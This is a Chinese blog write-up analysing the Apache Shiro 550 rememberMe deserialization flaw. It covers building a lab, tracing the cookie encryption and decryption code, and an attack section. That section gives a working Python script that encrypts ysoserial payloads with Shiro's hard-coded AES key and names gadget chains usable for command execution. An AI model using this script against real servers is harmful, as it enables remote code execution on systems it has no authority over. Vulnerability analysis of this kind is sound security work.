Java安全之Shiro 550反序列化漏洞分析
首发自安全客：Java安全之Shiro 550反序列化漏洞分析
0x00 前言
在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影，也是Shiro的该漏洞也是用的比较频繁的漏洞。本文对该Shiro550 反序列化漏洞进行一个分析，了解漏洞产生过程以及利用方式。
0x01 漏洞原理
Shiro 550 反序列化漏洞存在版本：shiro <1.2.4，产生原因是因为shiro接受了Cookie里面rememberMe的值，然后去进行Base64解密后，再使用aes密钥解密后的数据，进行反序列化。
反过来思考一下，如果我们构造该值为一个cc链序列化后的值进行该密钥aes加密后进行base64加密，那么这时候就会去进行反序列化我们的payload内容，这时候就可以达到一个命令执行的效果。
获取rememberMe值 -> Base64解密 -> AES解密 -> 调用readobject反序列化操作
0x02 漏洞环境搭建
漏洞环境：https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
打开shiro/web目录，对pom.xml进行配置依赖配置一个cc4和jstl组件进来，后面再去说为什么shiro自带了commons-collections:3.2.1还要去手工配置一个commons-collections:4.0。
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
...
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
坑点
Shiro的编译太痛苦了，各种坑，下面来排一下坑。
配置mavenconf oolchains.xml，这里需要指定JDK1.6的路径和版本，编译必须要1.6版本，但不影响在其他版本下运行。
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>D:JAVA_JDKjdk1.6</jdkHome>
</configuration>
</toolchain>
</toolchains>
这些都完成后进行编译。
Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure
这里还是报错了。
后面编译的时候，切换成了maven3.1.1的版本。然后就可以编译成功了。
但是后面又发现部署的时候访问不到，编译肯定又出了问题。
后面把这两个里面的<scope>标签给注释掉，然后就可以了。
把pom.xml配置贴一下。
<?xml version="1.0" encoding="UTF-8"?>
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!-- <scope>provided</scope>-->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!-- <scope>test</scope>-->
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
经过2天的排坑，终于把这个坑给解决掉，这里必须贴几张照片庆祝庆祝。
输入账号密码，勾选Remerber me选项。进行抓包
下面就可以来分析该漏洞了。
0x03 漏洞分析
加密
漏洞产生点在CookieRememberMeManager该位置，来看到rememberSerializedIdentity方法。
该方法的作用为使用Base64对指定的序列化字节数组进行编码，并将Base64编码的字符串设置为cookie值。
那么我们就去查看一下该方法在什么地方被调用。
在这可以看到该类继承的AbstractRememberMeManager类调用了该方法。跟进进去查看
发现这个方法被rememberIdentity方法给调用了，同样方式继续跟进。
在这里会发现rememberIdentity方法会被onSuccessfulLogin方法给调用，跟踪到这一步，就看到了onSuccessfulLogin登录成功的方法。
当登录成功后会调用AbstractRememberMeManager.onSuccessfulLogin方法，该方法主要实现了生成加密的RememberMe Cookie,然后将RememberMe Cookie设置为用户的Cookie值。在前面我们分析的rememberSerializedIdentity方法里面去实现了。可以来看一下这段代码。
回到onSuccessfulLogin这个地方，打个断点，然后web登录页面输入root/secret 口令进行提交，再回到IDEA中查看。找到登录成功方法后，我们可以来正向去做个分析，不然刚刚的方式比较麻烦。
这里看到调用了isRememberMe很显而易见得发现这个就是一个判断用户是否选择了Remember Me选项。
如果选择Remember Me功能的话返回true，如果不选择该选项则是调用log.debug方法在控制台输出一段字符。
这里如果为true的话就会调用rememberIdentity方法并且传入三个参数。F7跟进该方法。
前面说过该方法会去生成一个PrincipalCollection对象，里面包含登录信息。F7进行跟进rememberIdentity方法。
查看convertPrincipalsToBytes具体的实现与作用。
跟进该方法查看具体实现。
看到这里其实已经很清晰了，进行了一个序列化，然后返回序列化后的Byte数组。
再来看到下一段代码，这里如果getCipherService方法不为空的话，就会去执行下一段代码。getCipherService方法是获取加密模式。
还是继续跟进查看。
查看调用，会发现在构造方法里面对该值进行定义。
完成这一步后，就来到了这里。
调用encrypt方法，对序列化后的数据进行处理。继续跟进。
这里调用cipherService.encrypt方法并且传入序列化数据，和getEncryptionCipherKey方法。
getEncryptionCipherKey从名字上来看是获取密钥的方法，查看一下，是怎么获取密钥的。
查看调用的时候，发现setCipherKey方法在构造方法里面被调用了。
查看DEFAULT_CIPHER_KEY_BYTES值会发现里面定义了一串密钥
而这个密钥是定义死的。
返回刚刚的加密的地方。
这个地方选择跟进，查看具体实现。
查看到这里发现会传入前面序列化的数组和key值，最后再去调用他的重载方法并且传入序列化数组、key、ivBytes值、generate。
iv的值由generateInitializationVector方法生成，进行跟进。
查看getDefaultSecureRandom方法实现。
返回generateInitializationVector方法继续查看。这个new了一个byte数组长度为16
最后得到这个ivBytes值进行返回。
这里执行完成后就拿到了ivBytes的值了，这里再回到加密方法的地方查看具体加密的实现。
这里调用crypt方法进行获取到加密后的数据，而这个output是一个byte数组，大小是加密后数据的长度加上iv这个值的长度。
iv 的小tips
- 某些加密算法要求明文需要按一定长度对齐，叫做块大小(BlockSize)，我们这次就是16字节，那么对于一段任意的数据，加密前需要对最后一个块填充到16 字节，解密后需要删除掉填充的数据。
- AES中有三种填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
- PKCS7Padding跟PKCS5Padding的区别就在于数据填充方式，PKCS7Padding是缺几个字节就补几个字节的0，而PKCS5Padding是缺几个字节就补充几个字节的几，好比缺6个字节，就补充6个字节
不了解加密算法的可以看Java安全之安全加密算法
在执行完成后序列化的数据已经被进行了AES加密，返回一个byte数组。
执行完成后，来到这一步，然后进行跟进。
到了这里其实就没啥好说的了。后面的步骤就是进行base64加密后设置为用户的Cookie的rememberMe字段中。
解密
由于我们并不知道哪个方法里面去实现这么一个功能。但是我们前面分析加密的时候，调用了AbstractRememberMeManager.encrypt进行加密，该类中也有对应的解密操作。那么在这里就可以来查看该方法具体会在哪里被调用到，就可以追溯到上层去，然后进行下断点。
查看 getRememberedPrincipals方法在此处下断点
跟踪
返回getRememberedPrincipals方法。
在下面调用了convertBytesToPrincipals方法，进行跟踪。
查看decrypt方法具体实现。
和前面的加密步骤类似，这里不做详细讲解。
生成iv值，然后传入到他的重载方法里面。
到了这里执行完后，就进行了AES的解密完成。
还是回到这一步。
这里返回了deserialize方法的返回值，并且传入AES加密后的数据。
进行跟踪该方法。
继续跟踪。
到了这步，就会对我们传入进来的AES解密后的数据进行调用readObject方法进行反序列化操作。
0x04 漏洞攻击
漏洞探测
现在已经知道了是因为获取rememberMe值，然后进行解密后再进行反序列化操作。
那么在这里如果拿到了密钥就可以伪造加密流程。
网上找的一个加密的脚本
# －*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog ：https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('http://u89cy6.dnslog.cn')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)
获取到值后加密后的payload后可以在burp上面进行手工发送测试一下。
发送完成后，就可以看到DNSLOG平台上面回显了。
当使用URLDNS链的打过去，在DNSLOG平台有回显的时候，就说明这个地方存在反序列化漏洞。
但是要利用的话还得是使用CC链等利用链去进行命令的执行。
漏洞利用
前面我们手动给shio配上cc4的组件，而shiro中自带的是cc3.2.1版本的组件，为什么要手工去配置呢？
其实shiro中重写了ObjectInputStream类的resolveClass函数，ObjectInputStream的resolveClass方法用的是Class.forName类获取当前描述器所指代的类的Class对象。而重写后的resolveClass方法，采用的是ClassUtils.forName。查看该方法
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
}
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
}
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}
在传参的地方如果传入一个Transform数组的参数，会报错。
后者并不支持传入数组类型。
resovleClass使用的是ClassLoader.loadClass()而非Class.forName()，而ClassLoader.loadClass不支持装载数组类型的class
那么在这里可以使用cc2和cc4的利用链去进行命令执行，因为这两个都是基于javassist去实现的，而不是基于Transform数组。具体的可以看前面我的分析利用链文章。
除了这两个其实在部署的时候，可以发现组件当中自带了一个CommonsBeanutils的组件，这个组件也是有利用链的。可以使用CommonsBeanutils这条利用链进行命令执行。
那么除了这些方式就没有了嘛？假设没有cc4的组件，就一定执行不了命令了嘛？其实方式还是有的。wh1t3p1g师傅在文章中已经给出了解决方案。需要重新去特殊构造一下利用链。
参考文章
https://www.anquanke.com/post/id/192619#h2-4
https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils
https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A
0x05 结尾
在该漏洞中我觉得主要的难点在于环境搭建上费了不少时间，还有的就是关于shiro中大部分利用链没法使用的解决。